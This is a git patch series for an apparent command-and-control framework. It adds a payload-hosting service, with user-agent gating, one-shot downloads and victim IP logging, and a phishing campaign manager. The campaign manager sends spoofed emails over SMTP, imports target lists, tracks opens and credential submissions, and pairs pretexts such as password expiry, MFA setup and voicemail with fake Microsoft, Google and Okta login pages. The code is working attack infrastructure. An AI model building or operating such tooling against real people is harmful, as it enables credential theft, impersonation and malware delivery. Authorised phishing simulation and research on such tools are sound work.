hf.Enabled = !hf.Enabled + s.mu.Unlock() + + // Save updated metadata + s.saveMeta(hf) + + s.broadcastFiles() +} + +func (s *HostingService) HandleCopyURL(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.RLock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.RUnlock() + s.sendError(operator, "File not found") + return + } + path := hf.Path + s.mu.RUnlock() + + s.sendResponseClient(operator, "url", map[string]interface{}{ + "url": path, + }) +} + +// ============================================================================ +// HTTP Serving +// ============================================================================ + +func (s *HostingService) registerEndpoint(hf *HostedFile) { + fileID := hf.ID + path := hf.Path + + handler := func(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + f, ok := s.files[fileID] + if !ok { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 1. Check enabled + if !f.Enabled { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 2. Check expiration + if f.ExpiresAt != "" { + expiry, err := time.Parse("2006-01-02T15:04:05", f.ExpiresAt) + if err == nil && time.Now().After(expiry) { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + } + + // 3. Check max downloads + if f.MaxDownloads > 0 && f.Downloads >= f.MaxDownloads { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + + // 4. Check UA filter + if f.UAFilter != "" { + ua := r.UserAgent() + matched, err := regexp.MatchString(f.UAFilter, ua) + if err != nil || !matched { + s.mu.RUnlock() + http.NotFound(w, r) + return + } + } + + // Snapshot what we need before upgrading the lock + mimeType := f.MimeType + filename := f.Filename + encrypted := f.Encrypted + encKey := f.EncKey + oneShot := f.OneShot + s.mu.RUnlock() + + // Load content from storage + contentData, err := s.ts.TsExtenderDataLoad(ExtenderName, "data:"+fileID) + if err != nil || len(contentData) == 0 { + http.NotFound(w, r) + return + } + + // 5. Increment download count + s.mu.Lock() + f2, ok2 := s.files[fileID] + if ok2 { + f2.Downloads++ + if oneShot { + f2.Enabled = false + } + } + s.mu.Unlock() + + // 7. Serve content + w.Header().Set("Content-Type", mimeType) + w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", filename)) + w.Header().Set("Content-Length", fmt.Sprintf("%d", len(contentData))) + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + + // 8. If encrypted, add key header + if encrypted && encKey != "" { + w.Header().Set("X-Enc-Key", encKey) + } + + w.Write(contentData) + + // 9. Broadcast download event + remoteIP := getRemoteIP(r) + userAgent := r.UserAgent() + go func() { + s.sendEvent("download", map[string]interface{}{ + "file_id": fileID, + "filename": filename, + "path": path, + "remote_ip": remoteIP, + "user_agent": userAgent, + "time": time.Now().Format("2006-01-02 15:04:05"), + }) + + // 10. Persist updated metadata + s.mu.RLock() + f3, ok3 := s.files[fileID] + if ok3 { + s.saveMeta(f3) + } + s.mu.RUnlock() + + // Broadcast updated files list + s.broadcastFiles() + }() + } + + s.ts.TsEndpointRegisterPublicRaw("GET", path, handler) +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// Persistence +// ============================================================================ + +func (s *HostingService) saveMeta(hf *HostedFile) { + metaJSON, err := json.Marshal(hf) + if err != nil { + return + } + s.ts.TsExtenderDataSave(ExtenderName, "meta:"+hf.ID, metaJSON) +} + +func (s *HostingService) restoreFiles() { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return + } + + for _, key := range keys { + if !strings.HasPrefix(key, "meta:") { + continue + } + + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + + var hf HostedFile + if json.Unmarshal(data, &hf) != nil { + continue + } + + // Verify content exists + id := strings.TrimPrefix(key, "meta:") + _, err = s.ts.TsExtenderDataLoad(ExtenderName, "data:"+id) + if err != nil { + continue + } + + s.files[hf.ID] = &hf + + // Re-register endpoint + s.registerEndpoint(&hf) + } +} + +func (s *HostingService) broadcastFiles() { + s.mu.RLock() + defer s.mu.RUnlock() + + var list []HostedFile + for _, f := range s.files { + list = append(list, *f) + } + s.sendResponseAll("files", list) +} + +// ============================================================================ +// AES-256-CBC Encryption +// ============================================================================ + +func aesEncrypt(plaintext []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + // PKCS7 padding + blockSize := block.BlockSize() + padding := blockSize - len(plaintext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + plaintext = append(plaintext, padtext...) + + // Random IV + iv := make([]byte, blockSize) + if _, err := io.ReadFull(rand.Reader, iv); err != nil { + return nil, err + } + + // Encrypt + mode := cipher.NewCBCEncrypter(block, iv) + ciphertext := make([]byte, len(plaintext)) + mode.CryptBlocks(ciphertext, plaintext) + + // Prepend IV + return append(iv, ciphertext...), nil +} From 31cc369eb4832d2db676ef6ace6a1fb9e8126b10 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:46:57 +0200 Subject: [PATCH 06/11] feat: add phishing service extender Phishing campaign management service with email templates, landing pages, campaign tracking, and click/submit analytics. --- .../extenders/phishing_service/Makefile | 10 + .../extenders/phishing_service/ax_config.axs | 756 ++++++++++++++++++ .../extenders/phishing_service/config.yaml | 5 + .../extenders/phishing_service/go.mod | 5 + .../landers/default_login.html | 116 +++ .../landers/google_login.html | 73 ++ .../landers/microsoft_login.html | 77 ++ .../phishing_service/landers/okta_login.html | 76 ++ .../extenders/phishing_service/pl_campaign.go | 643 +++++++++++++++ .../extenders/phishing_service/pl_data.go | 261 ++++++ .../extenders/phishing_service/pl_main.go | 151 ++++ .../extenders/phishing_service/pl_tracker.go | 253 ++++++ .../templates/default_email.html | 54 ++ .../templates/helpdesk_ticket.html | 62 ++ .../phishing_service/templates/mfa_setup.html | 65 ++ .../templates/password_expiry.html | 61 ++ .../templates/shared_document.html | 64 ++ .../templates/voicemail_notification.html | 72 ++ 18 files changed, 2804 insertions(+) create mode 100644 AdaptixServer/extenders/phishing_service/Makefile create mode 100644 AdaptixServer/extenders/phishing_service/ax_config.axs create mode 100644 AdaptixServer/extenders/phishing_service/config.yaml create mode 100644 AdaptixServer/extenders/phishing_service/go.mod create mode 100644 AdaptixServer/extenders/phishing_service/landers/default_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/google_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/microsoft_login.html create mode 100644 AdaptixServer/extenders/phishing_service/landers/okta_login.html create mode 100644 AdaptixServer/extenders/phishing_service/pl_campaign.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_data.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_main.go create mode 100644 AdaptixServer/extenders/phishing_service/pl_tracker.go create mode 100644 AdaptixServer/extenders/phishing_service/templates/default_email.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/mfa_setup.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/password_expiry.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/shared_document.html create mode 100644 AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile new file mode 100644 index 000000000..5380772a0 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/Makefile @@ -0,0 +1,10 @@ +all: clean + @ echo " * Building phishing service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ cp -r templates landers ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs new file mode 100644 index 000000000..e7b8f6895 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/ax_config.axs @@ -0,0 +1,756 @@ +/// Phishing Service - UI + +let campaignsDock = null; +let resultsDock = null; +let campaignsTable = null; +let resultsTable = null; +let campaignFilter = null; +let campaignsData = []; +let allResults = {}; +let activePreview = null; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createCampaignsDock(); + createResultsDock(); + loadInitialData(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "campaigns") { + campaignsData = json.data || []; + refreshCampaignsTable(); + } + else if (msgType === "targets") { + showTargetsDialog(json.data.campaign_id, json.data.targets || []); + } + else if (msgType === "results") { + let cid = json.data.campaign_id; + allResults[cid] = json.data.results || []; + refreshResultsTable(); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Phishing Error", json.message); + } + else if (msgType === "templates") { + cachedTemplates = json.data || []; + } + else if (msgType === "landers") { + cachedLanders = json.data || []; + } + else if (msgType === "preview") { + if (activePreview) { + activePreview.setHtml(json.data.html); + } + } + else if (msgType === "export") { + let filename = "phishing_results_" + json.data.campaign_id + ".csv"; + let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)"); + if (path) { + ax.file_write_text(path, json.data.csv, false); + } + } + } catch (e) { + ax.log_error("Phishing: parse error: " + e); + } +} + +// ============================================================================ +// Campaigns Dock +// ============================================================================ + +let cachedTemplates = []; +let cachedLanders = []; + +function createCampaignsDock() { + campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnNew = form.create_button("New Campaign"); + let btnStart = form.create_button("Start"); + let btnStop = form.create_button("Stop"); + let btnDelete = form.create_button("Delete"); + let btnTargets = form.create_button("Targets"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnNew); + toolbar.addWidget(btnStart); + toolbar.addWidget(btnStop); + toolbar.addWidget(btnTargets); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]); + campaignsTable.setSortingEnabled(true); + campaignsTable.setReadOnly(true); + mainLayout.addWidget(campaignsTable); + + campaignsDock.setLayout(mainLayout); + campaignsDock.setSize(900, 400); + campaignsDock.show(); + + // Signals + form.connect(btnNew, "clicked", function() { + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + // Small delay to let templates/landers load before showing dialog + event.on_timeout(function() { showNewCampaignDialog(); }, 1); + }); + + form.connect(btnStart, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) { + ax.service_command("Phishing", "campaign_start", {id: cid}); + } + } + }); + + form.connect(btnStop, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "campaign_stop", {id: cid}); + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) { + ax.service_command("Phishing", "campaign_delete", {id: cid}); + } + } + }); + + form.connect(btnTargets, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "targets_list", {campaign_id: cid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadInitialData(); + }); + + form.connect(campaignsTable, "cellDoubleClicked", function(row, col) { + let cid = getCampaignIDByRow(row); + if (cid) { + ax.service_command("Phishing", "results_list", {campaign_id: cid}); + } + }); +} + +function refreshCampaignsTable() { + if (!campaignsTable) return; + + campaignsTable.setRowCount(0); + if (!campaignsData) return; + + for (let i = 0; i < campaignsData.length; i++) { + let c = campaignsData[i]; + let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : ""; + campaignsTable.addItem([ + c.name || "", + c.status || "", + String(c.total_targets || 0), + String(c.sent || 0), + String(c.opened || 0), + String(c.clicked || 0), + String(c.submitted || 0), + String(c.errors || 0), + c.created_by || "" + ]); + } + + // Update filter combo in results dock + updateCampaignFilter(); +} + +function getCampaignIDByRow(row) { + if (!campaignsData || row < 0 || row >= campaignsData.length) return null; + return campaignsData[row].id; +} + +// ============================================================================ +// New Campaign Dialog +// ============================================================================ + +function showNewCampaignDialog() { + let dialog = form.create_dialog("New Phishing Campaign"); + dialog.setSize(920, 700); + + // ======================= Form fields ======================= + + let txtName = form.create_textline(""); + txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept"); + let txtSubject = form.create_textline(""); + txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours"); + let txtSenderEmail = form.create_textline(""); + txtSenderEmail.setPlaceholder("it-security@contoso.com"); + let txtSenderName = form.create_textline(""); + txtSenderName.setPlaceholder("IT Service Desk"); + + let txtSmtpHost = form.create_textline(""); + txtSmtpHost.setPlaceholder("smtp.gmail.com"); + let spinSmtpPort = form.create_spin(); + spinSmtpPort.setRange(1, 65535); + spinSmtpPort.setValue(587); + let txtSmtpUser = form.create_textline(""); + txtSmtpUser.setPlaceholder("relay@yourdomain.com"); + let txtSmtpPass = form.create_textline(""); + txtSmtpPass.setPlaceholder("App password or SMTP credential"); + let chkSmtpTLS = form.create_check("Enable TLS"); + chkSmtpTLS.setChecked(true); + + let cmbTemplate = form.create_combo(); + let cmbLander = form.create_combo(); + if (cachedTemplates && cachedTemplates.length > 0) { + for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]); + } + if (cachedLanders && cachedLanders.length > 0) { + for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]); + } + + let txtBaseURL = form.create_textline(""); + txtBaseURL.setPlaceholder("https://portal-auth.contoso.com"); + let txtRedirectURL = form.create_textline("https://login.microsoftonline.com"); + let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)"); + chkTrackOpens.setChecked(true); + let chkTrackClicks = form.create_check("Track link clicks (redirect through server)"); + chkTrackClicks.setChecked(true); + let spinDelay = form.create_spin(); + spinDelay.setRange(0, 300); + spinDelay.setValue(3); + + // Preview browser + let previewBrowser = form.create_textbrowser(); + activePreview = previewBrowser; + + // ======================= Layout ======================= + + let pageLayout = form.create_vlayout(); + + // --- Campaign Identity --- + let identGrid = form.create_gridlayout(); + identGrid.addWidget(form.create_label("Name *"), 0, 0); + identGrid.addWidget(txtName, 0, 1); + identGrid.addWidget(form.create_label("Subject *"), 1, 0); + identGrid.addWidget(txtSubject, 1, 1); + + let identInner = form.create_panel(); + identInner.setLayout(identGrid); + let grpIdent = form.create_groupbox("Campaign Identity", false); + grpIdent.setPanel(identInner); + pageLayout.addWidget(grpIdent); + + // --- Sender --- + let senderGrid = form.create_gridlayout(); + senderGrid.addWidget(form.create_label("Email *"), 0, 0); + senderGrid.addWidget(txtSenderEmail, 0, 1); + senderGrid.addWidget(form.create_label("Display Name"), 1, 0); + senderGrid.addWidget(txtSenderName, 1, 1); + + let senderInner = form.create_panel(); + senderInner.setLayout(senderGrid); + let grpSender = form.create_groupbox("Sender (From)", false); + grpSender.setPanel(senderInner); + pageLayout.addWidget(grpSender); + + // --- SMTP Server --- + let smtpGrid = form.create_gridlayout(); + smtpGrid.addWidget(form.create_label("Host *"), 0, 0); + smtpGrid.addWidget(txtSmtpHost, 0, 1); + smtpGrid.addWidget(form.create_label("Port"), 1, 0); + let portRow = form.create_hlayout(); + portRow.addWidget(spinSmtpPort); + portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain")); + let portPanel = form.create_panel(); + portPanel.setLayout(portRow); + smtpGrid.addWidget(portPanel, 1, 1); + smtpGrid.addWidget(form.create_label("Username"), 2, 0); + smtpGrid.addWidget(txtSmtpUser, 2, 1); + smtpGrid.addWidget(form.create_label("Password"), 3, 0); + smtpGrid.addWidget(txtSmtpPass, 3, 1); + smtpGrid.addWidget(chkSmtpTLS, 4, 1); + + let smtpInner = form.create_panel(); + smtpInner.setLayout(smtpGrid); + let grpSmtp = form.create_groupbox("SMTP Server", false); + grpSmtp.setPanel(smtpInner); + pageLayout.addWidget(grpSmtp); + + // --- Content & Preview (splitter) --- + let contentGrid = form.create_gridlayout(); + contentGrid.addWidget(form.create_label("Email Template"), 0, 0); + contentGrid.addWidget(cmbTemplate, 0, 1); + contentGrid.addWidget(form.create_label("Landing Page"), 1, 0); + contentGrid.addWidget(cmbLander, 1, 1); + + // Template descriptions table + let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]); + tplDesc.setReadOnly(true); + tplDesc.setSortingEnabled(false); + tplDesc.setHeadersVisible(true); + tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]); + tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]); + tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]); + tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]); + tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]); + tplDesc.addItem(["default_email", "Generic document review", "default_login"]); + + // Left side: combos + reference table + let leftLayout = form.create_vlayout(); + let contentGridPanel = form.create_panel(); + contentGridPanel.setLayout(contentGrid); + leftLayout.addWidget(contentGridPanel); + leftLayout.addWidget(tplDesc); + + let leftPanel = form.create_panel(); + leftPanel.setLayout(leftLayout); + + // Right side: HTML preview + let rightLayout = form.create_vlayout(); + rightLayout.addWidget(form.create_label("Preview")); + rightLayout.addWidget(previewBrowser); + + let rightPanel = form.create_panel(); + rightPanel.setLayout(rightLayout); + + // Splitter: left controls | right preview + let contentSplitter = form.create_hsplitter(); + contentSplitter.addPage(leftPanel); + contentSplitter.addPage(rightPanel); + contentSplitter.setSizes([320, 540]); + + let contentSplitLayout = form.create_vlayout(); + contentSplitLayout.addWidget(contentSplitter); + + let contentInner = form.create_panel(); + contentInner.setLayout(contentSplitLayout); + let grpContent = form.create_groupbox("Content & Preview", false); + grpContent.setPanel(contentInner); + pageLayout.addWidget(grpContent); + + // Connect combos to preview + form.connect(cmbTemplate, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text}); + }); + form.connect(cmbLander, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text}); + }); + + // Load initial preview for the first selected template + if (cmbTemplate.currentText()) { + ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()}); + } + + // --- Tracking & Delivery --- + let trackGrid = form.create_gridlayout(); + trackGrid.addWidget(form.create_label("Base URL *"), 0, 0); + trackGrid.addWidget(txtBaseURL, 0, 1); + trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0); + trackGrid.addWidget(txtRedirectURL, 1, 1); + trackGrid.addWidget(chkTrackOpens, 2, 1); + trackGrid.addWidget(chkTrackClicks, 3, 1); + trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0); + let delayRow = form.create_hlayout(); + delayRow.addWidget(spinDelay); + delayRow.addWidget(form.create_label(" Seconds between each email sent")); + let delayPanel = form.create_panel(); + delayPanel.setLayout(delayRow); + trackGrid.addWidget(delayPanel, 4, 1); + + let trackInner = form.create_panel(); + trackInner.setLayout(trackGrid); + let grpTrack = form.create_groupbox("Tracking & Delivery", false); + grpTrack.setPanel(trackInner); + pageLayout.addWidget(grpTrack); + + // --- Spacer at bottom --- + pageLayout.addWidget(form.create_vspacer()); + + // --- Scrollable container --- + let scrollContent = form.create_panel(); + scrollContent.setLayout(pageLayout); + let scrollArea = form.create_scrollarea(); + scrollArea.setPanel(scrollContent); + scrollArea.setWidgetResizable(true); + + let mainLayout = form.create_vlayout(); + mainLayout.addWidget(scrollArea); + dialog.setLayout(mainLayout); + + let accepted = dialog.exec(); + activePreview = null; + + if (accepted === true) { + let campaign = { + name: txtName.text(), + subject: txtSubject.text(), + sender_email: txtSenderEmail.text(), + sender_name: txtSenderName.text(), + smtp_host: txtSmtpHost.text(), + smtp_port: spinSmtpPort.value(), + smtp_user: txtSmtpUser.text(), + smtp_pass: txtSmtpPass.text(), + smtp_tls: chkSmtpTLS.isChecked(), + template: cmbTemplate.currentText(), + lander: cmbLander.currentText(), + base_url: txtBaseURL.text(), + redirect_url: txtRedirectURL.text(), + track_opens: chkTrackOpens.isChecked(), + track_clicks: chkTrackClicks.isChecked(), + send_delay: spinDelay.value() + }; + + if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) { + ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL"); + return; + } + + ax.service_command("Phishing", "campaign_create", campaign); + } +} + +// ============================================================================ +// Targets Dialog +// ============================================================================ + +function showTargetsDialog(campaignID, targets) { + let dialog = form.create_ext_dialog("Targets - Campaign"); + dialog.setSize(700, 500); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + let btnImport = form.create_button("Import CSV"); + let btnDelete = form.create_button("Delete Selected"); + toolbar.addWidget(btnImport); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + + let tgtToolbarPanel = form.create_panel(); + tgtToolbarPanel.setLayout(toolbar); + mainLayout.addWidget(tgtToolbarPanel); + + // Table + let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]); + tgtTable.setSortingEnabled(true); + tgtTable.setReadOnly(true); + + if (targets) { + for (let i = 0; i < targets.length; i++) { + let t = targets[i]; + tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]); + } + } + mainLayout.addWidget(tgtTable); + + dialog.setLayout(mainLayout); + + form.connect(btnImport, "clicked", function() { + let csvDialog = form.create_dialog("Import Targets (CSV)"); + csvDialog.setSize(560, 450); + + let csvLayout = form.create_vlayout(); + csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company")); + csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required.")); + let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n"); + csvLayout.addWidget(csvText); + + let orLabel = form.create_label("Or load from file:"); + csvLayout.addWidget(orLabel); + + let btnFile = form.create_button("Load CSV File"); + csvLayout.addWidget(btnFile); + + form.connect(btnFile, "clicked", function() { + let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)"); + if (path) { + let content = ax.file_read(path); + if (content) { + csvText.setText(content); + } + } + }); + + csvDialog.setLayout(csvLayout); + if (csvDialog.exec() === true) { + let csv = csvText.text(); + if (csv && csv.trim().length > 0) { + ax.service_command("Phishing", "targets_import", { + campaign_id: campaignID, + csv: csv + }); + } + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = tgtTable.selectedRows(); + if (rows.length === 0) return; + + let ids = []; + for (let i = 0; i < rows.length; i++) { + if (targets && rows[i] < targets.length) { + ids.push(targets[rows[i]].id); + } + } + + if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) { + ax.service_command("Phishing", "targets_delete", { + campaign_id: campaignID, + ids: ids + }); + } + }); + + dialog.show(); +} + +// ============================================================================ +// Results Dock +// ============================================================================ + +function createResultsDock() { + resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", ""); + + let mainLayout = form.create_vlayout(); + + // Filter bar + let filterLayout = form.create_hlayout(); + filterLayout.addWidget(form.create_label("Campaign:")); + campaignFilter = form.create_combo(); + campaignFilter.addItem("-- All --"); + filterLayout.addWidget(campaignFilter); + + let btnExport = form.create_button("Export CSV"); + let btnRefresh = form.create_button("Refresh"); + filterLayout.addWidget(form.create_hspacer()); + filterLayout.addWidget(btnExport); + filterLayout.addWidget(btnRefresh); + + let filterPanel = form.create_panel(); + filterPanel.setLayout(filterLayout); + mainLayout.addWidget(filterPanel); + + // Table + resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]); + resultsTable.setSortingEnabled(true); + resultsTable.setReadOnly(true); + mainLayout.addWidget(resultsTable); + + resultsDock.setLayout(mainLayout); + resultsDock.setSize(1000, 400); + resultsDock.show(); + + // Signals + form.connect(campaignFilter, "currentTextChanged", function(text) { + refreshResultsTable(); + }); + + form.connect(btnExport, "clicked", function() { + let cid = getSelectedCampaignID(); + if (cid) { + ax.service_command("Phishing", "results_export", {campaign_id: cid}); + } else { + ax.show_message("Export", "Please select a specific campaign to export"); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadAllResults(); + }); + + form.connect(resultsTable, "cellDoubleClicked", function(row, col) { + showResultDetail(row); + }); +} + +function updateCampaignFilter() { + if (!campaignFilter) return; + + let current = campaignFilter.currentText(); + campaignFilter.clear(); + campaignFilter.addItem("-- All --"); + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + campaignFilter.addItem(campaignsData[i].name); + } + } + + // Restore selection + for (let i = 0; i < campaignFilter.count; i++) { + if (campaignFilter.itemText && campaignFilter.itemText(i) === current) { + campaignFilter.setCurrentIndex(i); + return; + } + } +} + +function getSelectedCampaignID() { + if (!campaignFilter) return null; + let text = campaignFilter.currentText(); + if (text === "-- All --") return null; + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].name === text) { + return campaignsData[i].id; + } + } + } + return null; +} + +function refreshResultsTable() { + if (!resultsTable) return; + resultsTable.setRowCount(0); + + let filterCampaign = getSelectedCampaignID(); + + for (let cid in allResults) { + if (filterCampaign && cid !== filterCampaign) continue; + + let campaignName = getCampaignNameByID(cid); + let results = allResults[cid]; + if (!results) continue; + + for (let i = 0; i < results.length; i++) { + let r = results[i]; + let name = (r.first_name || "") + " " + (r.last_name || ""); + let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : ""; + let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : ""; + let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : ""; + let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : ""; + + resultsTable.addItem([ + campaignName, + r.email || "", + name.trim(), + r.status || "", + sentAt, + openedAt, + clickedAt, + submitAt, + r.remote_ip || "", + r.user_agent || "" + ]); + } + } +} + +function getCampaignNameByID(id) { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].id === id) return campaignsData[i].name; + } + } + return id; +} + +function showResultDetail(row) { + // Collect result data from the table row for display + let campaign = resultsTable.text(row, 0); + let email = resultsTable.text(row, 1); + let name = resultsTable.text(row, 2); + let status = resultsTable.text(row, 3); + let ip = resultsTable.text(row, 8); + let ua = resultsTable.text(row, 9); + + let detail = "Campaign: " + campaign + "\n" + + "Email: " + email + "\n" + + "Name: " + name + "\n" + + "Status: " + status + "\n" + + "IP: " + ip + "\n" + + "User Agent: " + ua; + + ax.show_message("Result Detail", detail); +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (!data || !data.campaign_id) return; + + let cid = data.campaign_id; + let result = data.result; + + // Update local results cache + if (result && allResults[cid]) { + let found = false; + for (let i = 0; i < allResults[cid].length; i++) { + if (allResults[cid][i].id === result.id) { + allResults[cid][i] = result; + found = true; + break; + } + } + if (!found) { + allResults[cid].push(result); + } + } else if (result && !allResults[cid]) { + allResults[cid] = [result]; + } + + refreshResultsTable(); + + // Also refresh campaign stats + ax.service_command("Phishing", "campaign_list", {}); +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadInitialData() { + ax.service_command("Phishing", "campaign_list", {}); + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + loadAllResults(); +} + +function loadAllResults() { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id}); + } + } +} diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml new file mode 100644 index 000000000..14a844cc4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_phishing.so" +ax_file: "ax_config.axs" +service_name: "Phishing" +service_config: "" diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod new file mode 100644 index 000000000..8c43b8f3d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_phishing + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html new file mode 100644 index 000000000..4bb1379c3 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html @@ -0,0 +1,116 @@ + + + + + +Sign In + + + +

